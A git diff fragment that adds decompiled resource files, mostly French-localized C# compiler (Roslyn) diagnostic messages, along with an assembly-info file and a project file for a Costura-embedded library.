{0} à gauche et {1} à droite. + La valeur SecurityAction '{0}' n'est pas valide pour les attributs de sécurité appliqués à un assembly + '{0}' ne remplace pas la méthode attendue de 'object'. + La variable de portée '{0}' est en conflit avec une déclaration précédente de '{0}' + GetAsyncEnumerator de l'extension + Le type '{2}' doit être un type valeur non-nullable, ainsi que l'ensemble des champs à tous les niveaux d'imbrication, pour pouvoir être utilisé en tant que paramètre '{1}' dans le type ou la méthode générique '{0}' + Le nom de type ou d'espace de noms '{0}' est introuvable (vous manque-t-il une directive using ou une référence d'assembly ?) + Mot clé contextuel 'on' attendu + Mot clé contextuel 'by' attendu + Impossible d'utiliser le type '{3}' comme paramètre de type '{2}' dans le type ou la méthode générique '{0}'. Il n'y a pas de conversion boxing de '{3}' en '{1}'. + La méthode d'extension doit être statique + Type de retour non valide dans l'attribut cref de commentaire XML + '{0}' est obsolète : '{1}' + L'assembly {0} ne contient pas d'analyseurs. + Le corps d'une méthode async-iterator doit contenir une instruction 'yield'. + par covariance + Une référence a été créée pour l'assembly d'interopérabilité incorporé '{0}' en raison d'une référence indirecte à cet assembly créée par l'assembly '{1}'. Modifiez la propriété 'Incorporer les types interop' sur l'un ou l'autre de ces assemblys. + Le fichier source a dépassé la limite de 16 707 565 lignes pouvant être représentées dans le PDB ; les informations de débogage seront incorrectes + collection + N'utilisez pas 'System.Runtime.CompilerServices.DynamicAttribute'. Utilisez plutôt le mot clé 'dynamic'. + 'Impossible de marquer '{0}' comme conforme CLS, car l'assembly n'a pas d'attribut CLSCompliant + Cette référence ne peut pas effectuer une attribution par référence '{1}' à '{0}', car '{1}' ne peut échapper à la méthode actuelle qu’à l’aide d’une instruction return. + La version de langage fournie n'est pas prise en charge ou est non valide : '{0}'. + Expression ou instruction de déclaration attendue. + Le modificateur 'scoped' du paramètre '{0}' ne correspond pas à la déclaration de méthode partielle. + Impossible d'assigner la propriété ou l'indexeur '{0}' -- il est en lecture seule + Le type de retour d'une méthode, d'un délégué ou d'un pointeur de fonction ne peut pas être '{0}' + L’identificateur ou un accès à un membre simple était attendu. + Retourne une variable locale '{0}' par référence, mais il ne s'agit pas d'une variable locale de référence + Référence de l’analyseur spécifiée plusieurs fois + Les déclarations de méthodes partielles présentent des possibilités de valeur null incohérentes pour le paramètre de type + Accessibilité incohérente : le type de champ '{1}' est moins accessible que le champ '{0}' + L'option /pdb exige que l'option /debug soit également utilisée + 'L'expression donnée de l'expression 'is' est toujours du type fourni + Une directive using globale ne peut pas être utilisée dans une déclaration d’espace de noms. + #pragma + Le type '{0}' doit être public pour être utilisé comme convention d'appel. + Le membre obligatoire '{0}' doit être définissable. + Chaque ressource et module liés doivent avoir un nom de fichier unique. Le nom de fichier '{0}' est indiqué plusieurs fois dans cet assembly + Appelez System.IDisposable.Dispose() sur l'instance allouée avant que toutes les références pointant vers lui soient hors de portée + Impossible de spécifier des modificateurs 'readonly' sur les deux accesseurs de la propriété ou de l'indexeur '{0}'. À la place, mettez un modificateur 'readonly' sur la propriété elle-même. + obsolète sur l'accesseur de propriété + La méthode de gestionnaire de chaîne interpolée « {0} » a un type de retour incohérent. Le retour de « {1} » est attendu. + Une arborescence d'expression lambda ne peut pas contenir un appel COM avec des arguments où ref a été omis + Impossible de déclarer le paramètre params en tant que {0} + Le type et l'identificateur sont tous deux requis dans une instruction foreach + Argument {0} : conversion impossible de '{1}' en '{2}' + Les spécifications d'argument nommé doivent s'afficher après la spécification de tous les arguments fixes. Utilisez la version de langage {0} ou une version ultérieure pour autoriser les arguments nommés non placés en position de fin. + La chaîne doit commencer par le guillemet : " + Les contraintes pour le paramètre de type '{0}' de la méthode '{1}' doivent correspondre aux contraintes pour le paramètre de type '{2}' de la méthode d'interface '{3}'. Utilisez plutôt une implémentation d'interface explicite. + Impossible de retourner la variable de portée '{0}' par référence + La nullabilité des types référence dans le type ne correspond pas au membre implémenté '{0}'. + Du code unsafe ne peut pas s'afficher dans des itérateurs + Un intercepteur ne peut pas être marqué avec 'UnmanagedCallersOnlyAttribute'. + Impossible d'utiliser l'opérateur typeof sur un type référence Nullable + La construction __arglist est valide uniquement avec une méthode à arguments de variables + Impossible de déterminer le type d'expression conditionnelle, car '{0}' et '{1}' sont convertis implicitement l'un en l'autre + Impossible d'utiliser une éventuelle valeur null pour un type marqué avec [NotNull] ou [DisallowNull] + gestionnaires de chaînes interpolées + 'Impossible d'utiliser 'new' avec le type tuple. Utilisez une expression littérale de tuple à la place. + Jeton inattendu '{0}' + L'expression doit être de type '{0}' pour correspondre à la valeur ref de remplacement + Impossible d'utiliser une variable locale ou une fonction locale '{0}' déclarée dans une instruction de niveau supérieur dans ce contexte. + '{0}' : dérivation du type sealed '{1}' impossible + Le modificateur 'ref' de l’argument {0} correspondant au paramètre 'in' est équivalent à 'in'. Utilisez 'in' à la place. + stackalloc dans des expressions imbriquées + Le point d'entrée de débogage doit être une définition d'une méthode déclarée dans la compilation actuelle. + Il n'existe pas de classement défini entre les champs dans plusieurs déclarations de struct partiel + En supposant que la référence d'assembly '{0}' utilisée par '{1}' correspond à l'identité '{2}' de '{3}', il se peut que vous deviez fournir une stratégie runtime + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté. + Impossible de convertir le groupe de méthodes en pointeur de fonction (manque-t-il un '&' ?) + Le commentaire XML a une balise typeparam pour '{0}', alors qu'il n'existe aucun paramètre de type de ce nom + Le paramètre d'attribut '{0}' ou '{1}' doit être spécifié. + Le paramètre d'attribut '{0}' doit être spécifié. + méthode expression-bodied + Nous n’avons pas pu utiliser le paramètre de constructeur principal '{0}' qui a un type de référence similaire à l’intérieur d’un membre d’instance + CallerFilePathAttribute n'aura pas d'effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas d'arguments facultatifs + Impossible de compiler les modules net en utilisant /refout ou /refonly. + Impossible d'utiliser le type '{3}' comme paramètre de type '{2}' dans le type ou la méthode générique '{0}'. Le type Nullable '{3}' ne satisfait pas la contrainte de '{1}'. Les types Nullable ne peuvent pas satisfaire les contraintes d'interface. + Le fichier de commentaires inclus comporte du code XML incorrect + L'espace de noms '{1}' contient une définition en conflit avec l'alias '{0}' + Nom d'assembly non valide : {0} + Une arborescence de l'expression ne peut pas contenir d'abandon. + Modèle not + Argument should be passed with the 'in' keyword + L'utilisation de 'is' pour tester la compatibilité avec 'dynamic' est fondamentalement identique au test de la compatibilité avec 'Object' + La méthode partielle '{0}' doit avoir une partie implémentation, car elle a des modificateurs d'accessibilité. + Une directive 'using namespace' ne peut être appliquée qu'aux espaces de noms ; '{0}' est un type, pas un espace de noms. Utilisez plutôt une directive 'using static' + Impossible d'utiliser les membres du champ readonly '{0}' en tant que valeur ref ou out (sauf dans un constructeur) + Erreur de syntaxe de ligne de commande : format de Guid '{0}' non valide pour l'option '{1}' + N'utilisez pas '_' pour faire référence au type dans une expression is-type. + Un littéral par défaut 'default' est non valide en tant que modèle. Utilisez un autre littéral (par exemple, '0' ou 'null') selon le cas. Pour correspondre à tout, utilisez un modèle d'abandon '_'. + Dans les attributs cref, les types imbriqués de types génériques doivent être qualifiés. + Le CallerLineNumberAttribute peut seulement être appliqué aux paramètres avec des valeurs par défaut + Le résultat de l'expression est toujours '{0}', car une valeur de type '{1}' n'est jamais égale à 'null' du type '{2}' + Impossible de retourner une valeur à partir d'un itérateur. Utilisez l'instruction yield return pour retourner une valeur, ou yield break pour mettre fin à l'itération. + Le générateur n'a pas pu générer la source. + 'disable' ou 'restore' attendu + L'option '{0}' doit être un chemin absolu. + Version {0} non valide pour /subsystemversion. La version doit être 6.02 ou supérieure pour ARM ou AppContainerExe, et 4.00 ou supérieure dans les autres cas + Déclarateur de membre initialiseur non valide + contraintes de type générique d'enum + Le format de l'option pathmap est incorrect. + Le type de mémoire tampon de taille fixe doit être : bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float ou double + Cette combinaison d'arguments pour '{0}' n'est pas autorisée, car elle peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + Impossible de convertir la valeur de constante '{0}' en '{1}' + L'argument {0} ne doit pas être passé avec le mot clé '{1}' + Impossible d'utiliser la propriété ou l'indexeur '{0}' dans ce contexte, car l'accesseur get n'est pas accessible + fonctions locales + Impossible d’exiger une référence retournant des propriétés. + tuples + alias extern + Élément include XML non valide -- {0} + Un paramètre de type nullable doit être connu pour pouvoir être un type valeur ou un type référence non-nullable, sauf si le langage version '{0}' ou ultérieure est utilisé. Pensez à changer la version du langage ou à ajouter une contrainte 'class', 'struct' ou de type. + La valeur d'alignement a une magnitude pouvant générer une chaîne formatée volumineuse + Une arborescence d'expressions ne peut pas contenir d'accès ou de conversion de tableau en ligne + Le type intercepté ou levé doit être dérivé de System.Exception + Aucun fichier source spécifié + L'attribut '{0}' est ignoré quand une signature publique est spécifiée. + La mémoire tampon de taille fixe de longueur {0} et de type '{1}' est trop volumineuse + '{0}' ne peut pas implémenter '{1}', car ceci n'est pas pris en charge par le langage + La fonctionnalité '{0}' n'est pas disponible en C# 8.0. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 9.0. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 2. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 3. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 1. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 6. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 7.0. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 4. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 5. Utilisez la version de langage {1} ou une version ultérieure. + La méthode '{0}' spécifie une contrainte 'struct' pour le paramètre de type '{1}', mais le paramètre de type '{2}' correspondant de la méthode substituée ou explicitement implémentée '{3}' n'est pas un type valeur non-nullable. + option /LIB + L'attribut Conditional n'est pas valide sur '{0}', car son type de retour n'est pas void + Interceptor ne doit pas avoir de 'ce' paramètre car '{0}' n'a pas de 'ce' paramètre. + Modèle type + Une ressource d’instruction d’utilisation de type '{0}' ne peut pas être utilisée dans des méthodes asynchrones ou des expressions lambda asynchrones. + Impossible d'appliquer l'attribut DllImport à une méthode générique ou contenue dans une méthode ou un type générique. + Le constructeur de structure sans paramètre doit être « public ». + Utilisation d'une variable locale non assignée '{0}' + Une propriété ou un indexeur qui ne retourne pas une référence ne peut pas être utilisé en tant que valeur ou référence de sortie + Un membre remplace un membre de base avec plusieurs candidats à la substitution au moment de l'exécution + Impossible de retourner '{0}' par référence, car il s'agit d'un '{1}' + Ignorer le chargement de types dans un assembly d’analyseur qui échouent en raison d’une ReflectionTypeLoadException + Le champ d’élément de tableau inline ne peut pas être déclaré comme obligatoire, en lecture seule, volatile ou en tant que mémoire tampon de taille fixe. + Une méthode marquée [DoesNotReturn] ne doit pas être retournée. + Une seule unité de compilation peut avoir des instructions de niveau supérieur. + Les paramètres ou variables locales de type '{0}' ne peuvent pas être déclarés dans des méthodes asynchrones ou des expressions asynchrones lambda. + Aucune déclaration de définition trouvée pour la déclaration d'implémentation de la méthode partielle '{0}' + implémentation d'interface par défaut + Une référence au type '{0}' déclare qu'il est défini dans cet assembly, mais il n'est pas défini dans la source ou dans les modules ajoutés + Impossible de passer null pour un nom d'assembly friend + La valeur par défaut spécifiée pour le paramètre n'aura aucun effet, car elle s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + La valeur de retour doit être non null, car le paramètre a une valeur non null. + Bloc switch vide + '{0}' : un type abstract ne peut pas être sealed ou static + L'introduction d'une méthode 'Finalize' peut interférer avec un appel destructeur + Impossible d’utiliser l’objet 'this' avant l’affectation de tous ses champs. Envisagez de mettre à jour vers la version de langage '{0}' pour définir automatiquement les champs non attribués par défaut. + La séquence de caractères '@' n'est pas autorisée. Une chaîne de caractères ou un identifiant verbatim ne peut comporter qu'un seul caractère '@' et une chaîne de caractères brute ne peut en comporter aucun. + Le fichier source ne peut contenir qu’une seule déclaration d’espace de noms d’étendue de fichier. + L'expression donnée correspond toujours au modèle fourni. + Vous devez fournir un initialiseur dans une déclaration d'instruction fixed ou using + Le type de retour pour l'opérateur ++ ou -- doit correspondre au type de paramètre ou en être dérivé + Variance non valide : le paramètre de type '{1}' doit être un {3} valide sur '{0}'. '{1}' est {2}. + Les membres requis ne sont pas autorisés au niveau supérieur d’un script ou d’une soumission. + '{0}' : les conversions définies par l'utilisateur vers ou à partir du type dynamic ne sont pas autorisées + AppConfigPath doit être absolu. + Les attributs ciblés par des champs sur les propriétés automatiques ne sont pas pris en charge dans la version de langage {0}. Utilisez la version de langage {1} ou une version ultérieure. + '{0}' : un événement abstrait ne peut pas utiliser une syntaxe d'accesseur d'événement + Impossible d'utiliser l'attribut [EnumeratorCancellation] sur plusieurs paramètres + Utiliser un membre du résultat de '{0}' dans ce contexte peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + CallerFilePathAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerLineNumberAttribute. + Possibilité d'instruction vide erronée + attributs lambda + Une expression lambda avec un corps d'instruction ne peut pas être convertie en arborescence de l'expression + Impossible d'utiliser le type '{3}' comme paramètre de type '{2}' dans le type ou la méthode générique '{0}'. Il n'y a pas de conversion boxing ou de conversion de paramètre de type de '{3}' en '{1}'. + Le fichier de commentaires inclus comporte du code XML incorrect -- '{0}' + Les modèles relationnels ne peuvent pas être utilisés pour une valeur NaN à virgule flottante. + Les propriétés implémentées automatiquement doivent substituer tous les accesseurs de la propriété substituée. + Le mot clé 'enum' ne peut pas être utilisé comme contrainte. Vouliez-vous dire « struct, System.Enum » ? + Une sous-expression ne peut pas être utilisée dans un argument de nameof. + Les branches d'un opérateur conditionnel ref ne peuvent pas faire référence à des variables ayant des étendues de déclaration incompatibles + Un champ de mémoire tampon de taille fixe doit utiliser le spécificateur de la taille du tableau après le nom du champ + pointeur de fonction + Directive #warning + Aucune surcharge pour la méthode '{0}' n'accepte les arguments {1} + Impossible d'appliquer l'indexation à l'aide de [] à une expression de type '{0}' + La valeur de directive #line est manquante ou hors limites + Attribute parameter 'SizeConst' must be specified. + '{0}' n'est pas une contrainte valide. Un type utilisé comme contrainte doit être une interface, une classe non-sealed ou un paramètre de type. + Référence ambiguë dans l'attribut cref : '{0}'. '{1}' pris par défaut, mais peut aussi correspondre à d'autres surcharges, notamment '{2}'. + La classe '{0}' ne peut pas avoir plusieurs classes de base : '{1}' et '{2}' + '{0}' se substitue à Object.Equals(object o) mais pas à Object.GetHashCode() + Interceptor ne peut pas avoir de chemin de fichier "null". + Directive using non nécessaire. + Impossible de trouver une méthode '{0}' accessible avec la signature attendue : une méthode statique avec un seul paramètre de type 'ReadOnlySpan<{1}>' et le type de retour '{2}'. + Le nom '{0}' n'existe pas dans le contexte actuel + Absence de boucle englobant 'break' ou 'continue' + L'implémentation d'interface explicite '{0}' correspond à plusieurs membres d'interface. Le membre d'interface choisi dépend de l'implémentation. Utilisez plutôt une implémentation non explicite. + La nullabilité des types référence dans le type du paramètre '{0}' ne correspond pas au membre implémenté '{1}' (probablement en raison des attributs de nullabilité). + Référence à l'entité non définie '{0}'. + Le code XML du commentaire XML est incorrect -- '{0}' + Les propriétés qui effectuent un retour par référence doivent avoir un accesseur get + Les membres attribués avec 'ObsoleteAttribute' ne doivent pas être obligatoires, sauf si le type conteneur est obsolète ou si tous les constructeurs sont obsolètes. + Accessibilité incohérente : l'interface de base '{1}' est moins accessible que l'interface '{0}' + Une arborescence de l'expression ne peut pas contenir une expression de méthode anonyme + expression lambda + Un paramètre est capturé dans l’état du type englobant et sa valeur est également passée au constructeur de base. La valeur peut également être capturée par la classe de base. + Définition de type ou d'espace de noms, ou fin de fichier attendue + Littéral de chaîne inachevé + Type de contrainte non valide. Un type utilisé comme contrainte doit être une interface, une classe non-sealed ou un paramètre de type. + Le second opérande d'un opérateur 'is' ou 'as' ne peut pas être un type static + L'expression fera toujours intervenir System.NullReferenceException, car la valeur par défaut du type est null + UnscopedRefAttribute ne peut pas être appliqué à une implémentation d’interface. + is' et 'as' ne sont pas valides sur les types pointeur + Le paramètre de type a le même nom que le paramètre de type du type externe + Guillemets insuffisants pour le littéral de chaîne brute + '{0}' : les interfaces conformes CLS doivent avoir uniquement des membres conformes CLS + Une expression de méthode anonyme ne peut pas être convertie en arborescence de l'expression + Le fichier source a été spécifié plusieurs fois + Une syntaxe incorrecte a été utilisée dans un commentaire. + Une méthode Add d'extension n'est pas prise en charge pour un initialiseur de collection dans une expression lambda. + L'attribut '{0}' n'est valide que sur un indexeur qui n'est pas une déclaration de membre d'interface explicite + '{0}' n'est pas une classe d'attributs + Impossible d'utiliser le type en tant que paramètre de type dans le type ou la méthode générique. La nullabilité de l'argument de type ne correspond pas à la contrainte 'notnull'. + Impossible d'utiliser un type anonyme dans une expression constante + Les expressions et instructions ne peuvent figurer que dans le corps de méthode + Le type '{0}' n'est pas valide pour 'en utilisant statique'. Seuls une classe, une structure, une interface, une énumération, un délégué ou un espace de noms peuvent être utilisés. + Le type de '{0}' n'est pas conforme CLS + L'opérateur '{0}' est ambigu pour les opérandes '{1}' et '{2}' + Le type d'argument '{0}' n'est pas conforme CLS + Le paramètre params doit être un tableau à une seule dimension + Le point d'entrée du programme est du code global ; point d'entrée '{0}' ignoré. + Impossible d'appeler un membre de base abstrait : '{0}' + Impossible de convertir null en paramètre de type '{0}' parce qu'il peut s'agir d'un type valeur non-nullable. Utilisez 'default({0})' à la place. + Cette fonctionnalité ne fait pas partie de la spécification du langage C# ISO standardisée ; il est possible qu'elle ne soit pas acceptée par d'autres compilateurs + '&' des groupes de méthodes ne peut pas être utilisé dans les arborescences d'expression + Le type d'une variable locale déclarée dans une instruction fixed ne peut pas être un type de pointeur de fonction. + Il existe {0} types de paramètre et {1} genres de référence de paramètre. Ces tableaux doivent avoir la même longueur. + Impossible de retourner un membre de la variable locale '{0}' par référence, car il ne s'agit pas d'une variable locale de référence + Un champ non-nullable doit contenir une valeur non-null lors de la fermeture du constructeur. Envisagez de déclarer le champ comme nullable. + '{0}' n'a pas de classe de base et ne peut pas appeler de constructeur de base + La méthode surchargée correspondant le mieux à '{0}' n'a pas la bonne signature pour l'élément initialiseur. Add initialisable doit être une méthode d'instance accessible. + La signature publique a été spécifiée et nécessite une clé publique. Toutefois, aucune clé publique n'a été spécifiée. + La nullabilité des types référence dans le type du paramètre ne correspond pas au membre implémenté implicitement (probablement en raison des attributs de nullabilité). + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté '{0}' (probablement en raison des attributs de nullabilité). + ) attendue + Fichier source '{0}' introuvable. + propriété + Valeur '{0}' non valide : '{1}' pour C# {2}. Utilisez la version de langage '{3}' ou une version ultérieure. + Impossible de retourner '{0}' par référence, car il est en lecture seule + Impossible d'utiliser une méthode d'extension avec un récepteur en tant que cible d'un opérateur '&'. + CallerArgumentExpressionAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerFilePathAttribute. + Une fonction anonyme convertie en délégué retournant void ne peut pas retourner une valeur + Vous ne devez pas utiliser le type 'dynamic' dans un modèle. + Impossible d'utiliser {0} '{1}' en tant que valeur ref ou out, car il s'agit d'une variable en lecture seule + Impossible d'appeler directement des destructeurs et object.Finalize. Appelez IDisposable.Dispose s'il est disponible. + '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}', car le runtime cible ne prend pas en charge les membres abstraits statiques dans les interfaces. + Impossible d'intercepter la méthode '{0}' avec l'intercepteur '{1}' car les signatures ne correspondent pas. + Trop de caractères dans le littéral de caractère + SyntaxTree ne fait pas partie de la compilation + Valeurs de checksum différentes spécifiées pour #pragma + La valeur SecurityAction '{0}' n'est pas valide pour l'attribut PrincipalPermission + Déclarateur de tableau erroné. Pour déclarer un tableau managé, le spécificateur de rang précède l'identificateur de la variable. Pour déclarer un champ de mémoire tampon de taille fixe, utilisez le mot clé fixed avant le type de champ. + Les déclarations partielles de '{0}' doivent avoir les mêmes noms de paramètre de type et modificateurs de variance dans le même ordre + '{0}' ne peut pas dériver de la classe spéciale '{1}' + Comme « {0} » est une méthode asynchrone qui renvoie « {1} », un mot clé de retour ne doit pas être suivi d’une expression d’objet + Impossible d'utiliser '{0}' en tant que valeur ref ou out, car il est en lecture seule + L'initialiseur d'objet ou de collection déréférence implicitement le membre susceptible d'avoir une valeur null '{0}'. + Impossible de trouver une implémentation du modèle de requête pour le type source '{0}'. '{1}' introuvable. + Le CallerMemberNameAttribute peut seulement être appliqué aux paramètres avec des valeurs par défaut + Le type est en conflit avec l'espace de noms importé + Le commentaire XML a une balise param pour '{0}', alors qu'il n'existe aucun paramètre de ce nom + Le paramètre de type a le même type que le paramètre de type de la méthode externe. + Le paramètre « {0} » n’est pas fourni explicitement, mais est utilisé en tant qu’argument pour la conversion du gestionnaire de chaîne interpolé sur le paramètre « {1} ». Spécifiez la valeur de « {0} » avant « {1} ». + Commentaire XML manquant pour le type ou le membre visible publiquement + L'assembly '{0}' contenant le type '{1}' référence le .NET Framework, ce qui n'est pas pris en charge. + La comparaison à la constante intégrale est inutile, car la constante est en dehors de la plage du type + Impossible d'utiliser le type en tant que paramètre de type dans le type ou la méthode générique. La nullabilité de l'argument de type ne correspond pas au type de contrainte. + Le type définit l'opérateur == ou l'opérateur != mais ne se substitue pas à Object.GetHashCode() + L'attribut sera ignoré en faveur de l'instance présente dans la source + Impossible d'ouvrir le fichier source '{0}' -- {1} + L'attribut '{0}' n'est pas valide dans ce type de déclaration. Il n'est valide que dans les déclarations '{1}'. + Une arborescence de l'expression ne peut pas contenir d'assignation de fusion ayant une valeur null + Impossible de déclarer une variable locale ou un paramètre nommé '{0}' dans cette portée, car ce nom est utilisé dans une portée locale englobante pour définir une variable locale ou un paramètre + '{0}' est de type '{1}'. Une valeur de paramètre par défaut d'un type référence autre que string ne peut être initialisé qu'avec null + Impossible d'incorporer les types interop de l'assembly '{0}', car l'attribut '{1}' ou '{2}' est manquant. + La nullabilité des types référence dans le type du paramètre '{0}' de '{1}' ne correspond pas au délégué cible '{2}' (probablement en raison des attributs de nullabilité). + Le type de contrainte '{0}' n'est pas conforme CLS + Une construction de gestionnaire de chaîne interpolée ne peut pas utiliser Dynamic. Construisez manuellement une instance de « {0} ». + Impossible d'assigner le champ ou la propriété statique '{0}' dans un initialiseur d'objet + Attribut '{0}' en double + L'attribut '{0}' n'est valide que dans les classes dérivées de System.Attribute + Les branches d'un opérateur conditionnel ref font référence à des variables ayant des étendues de déclaration incompatibles + Séquence de caractères inattendue '...' + La nullabilité dans les contraintes pour le paramètre de type '{0}' de la méthode '{1}' ne correspond pas aux contraintes pour le paramètre de type '{2}' de la méthode d'interface '{3}'. Utilisez une implémentation d'interface explicite à la place. + La comparaison avec null de type struct produit toujours 'false' + L'attribut RequiredAttribute n'est pas autorisé sur les types C# + Seules sont autorisées 65 534 variables locales, y compris celles générées par le compilateur + Normalement, un champ volatile ne doit pas être utilisé en tant que valeur ref ou out, car il n'est pas considéré comme volatile. Il existe des exceptions à cette situation, par exemple l'appel d'une API à blocage. + La nullabilité des types référence dans le type ne correspond pas au membre substitué. + Impossible d'incorporer le type interop '{0}' trouvé dans les assemblys '{1}' et '{2}'. Attribuez à la propriété 'Incorporer les types interop' la valeur false. + chemin d'accès trop long ou non valide + '{1} {0}' n'a pas le type de retour correct + Le membre doit avoir une valeur non null au moment de la sortie dans certaines conditions. + La nullabilité des types référence dans le type de paramètre '{0}' ne correspond pas au membre implémenté '{1}'. + Un type n'implémente pas le modèle de la collection ; un membre n'a pas la bonne signature + async main + Le membre '{0}' est introuvable sur le type '{1}' de l'assembly '{2}'. + Une balise de fin n'était pas attendue à cet emplacement. + '{1}' : dérivation impossible à partir de la classe static '{0}' + Les méthodes ayant pour attribut 'UnmanagedCallersOnly' ne peuvent pas avoir de paramètres de type générique et ne peuvent pas être déclarées dans un type générique. + L'accès à un membre de '{0}' peut occasionner une exception runtime, car il s'agit d'un champ d'une classe de marshaling par référence + Expression attendue + Un accès Friend a été concédé par '{0}', mais la clé publique de l'assembly de sortie ('{1}') ne correspond pas à celle spécifiée par l'attribut InternalsVisibleTo dans l'assembly concédant. + '{0}' est un type qui n'est pas pris en charge par le langage + La méthode d’initialiseur de module '{0}' doit être statique et non virtuelle. Elle ne doit avoir aucun paramètre et doit retourner 'void'. + La méthode '{0}' avec un bloc itérateur doit être 'async' pour retourner '{1}' + L'expression doit être explicitement convertible en booléen ou son type '{0}' doit définir l'opérateur '{1}'. + L'objet peut être supprimé plusieurs fois + CallerMemberNameAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerLineNumberAttribute. + La référence d'assembly n'est pas valide et ne peut pas être résolue + Le type de paramètre pour l'opérateur ++ ou -- doit être le type conteneur + Utilisation de la propriété implémentée automatiquement «{0}» éventuellement non assignée. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement la propriété par défaut. + Conversion de littéral ayant une valeur null ou d'une éventuelle valeur null en type non-nullable. + Aucune valeur détectée pour RuntimeMetadataVersion + Une référence d'objet est requise pour la propriété, la méthode ou le champ non statique '{0}' + Impossible de retourner par référence un membre du paramètre '{0}' par le biais d’un paramètre ref ; il ne peut être retourné que dans une instruction return + Vous ne pouvez pas indiquer que le type ou le membre est conforme CLS, car l'assembly n'a pas d'attribut CLSCompliant + L'attribut AsyncMethodBuilder n'est pas autorisé pour les méthodes anonymes sans type de retour explicite. + Conversion d’un groupe de méthodes en type non-délégué + '{0}' : le type de retour doit être '{2}' pour correspondre au membre substitué '{1}' + Impossible d'utiliser une variable using directement dans une section switch (utilisez des accolades). + Une soumission peut avoir au plus une arborescence de syntaxe. + Aucune surcharge pour '{0}' ne correspond au délégué '{1}' + L’identificateur '{0}' est ambiguë entre le type '{1}' et le paramètre '{2}' dans ce contexte. + Type non valide pour le paramètre dans l'attribut cref du commentaire XML + Le nom '{0}' n'identifie pas l'élément de tuple '{1}'. + Impossible de spécifier l'attribut DefaultMember sur un type contenant un indexeur + Le niveau d'avertissement doit être supérieur ou égal à zéro + indexeur expression-bodied + La fonction locale '{0}' doit déclarer un corps, car il n'est pas marqué 'static extern'. + Le paramètre {0} a une valeur par défaut '{1:10}' dans l’expression lambda, mais a '{2:10}' dans le type délégué cible. + '{0}' : dérivation impossible du type dynamic + La méthode partielle '{0}' doit avoir des modificateurs d'accessibilité, car elle a un type de retour non nul (void). + Une arborescence d'expression lambda ne peut pas contenir un opérateur de fusion avec une partie gauche de littéral ayant une valeur null ou une valeur par défaut + '{0}' : le type utilisé dans une instruction using asynchrone doit être implicitement convertible en 'System.IAsyncDisposable' ou doit implémenter une méthode 'DisposeAsync' appropriée. + Erreur de syntaxe, '{0}' attendu + '{2}' ne peut pas satisfaire la contrainte 'new()' sur le paramètre '{1}' dans le type générique ou la méthode '{0}', car '{2}' a des membres obligatoires. + L'expression switch ne prend pas en charge certaines valeurs de son type d'entrée (elle n'est pas exhaustive) impliquant une valeur enum sans nom. Par exemple, le modèle '{0}' n'est pas couvert. + Impossible d'utiliser l'argument de type '{0}' pour le paramètre '{2}' de type '{1}' dans '{3}'. En effet, il existe des différences dans l'acceptation des valeurs null par les types référence. + Cet emplacement d'attribut n'est pas reconnu + Utiliser un résultat de '{0}' dans ce contexte peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + L'initialiseur d'élément ne peut pas être vide + L'appel au membre '{0}' non readonly à partir d'un membre 'readonly' génère une copie implicite de '{1}'. + Le type de l'expression dans la clause {0} est incorrect. L'inférence de type a échoué dans l'appel à '{1}'. + filtre d'exception + Au moins une instruction de niveau supérieur ne doit pas être vide. + Les déclarations de méthodes partielles de '{0}' ont des contraintes incohérentes pour le paramètre de type '{1}' + \ No newline at end of file diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/costura.fr.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/costura.fr.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/costura.fr.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.fr.resx 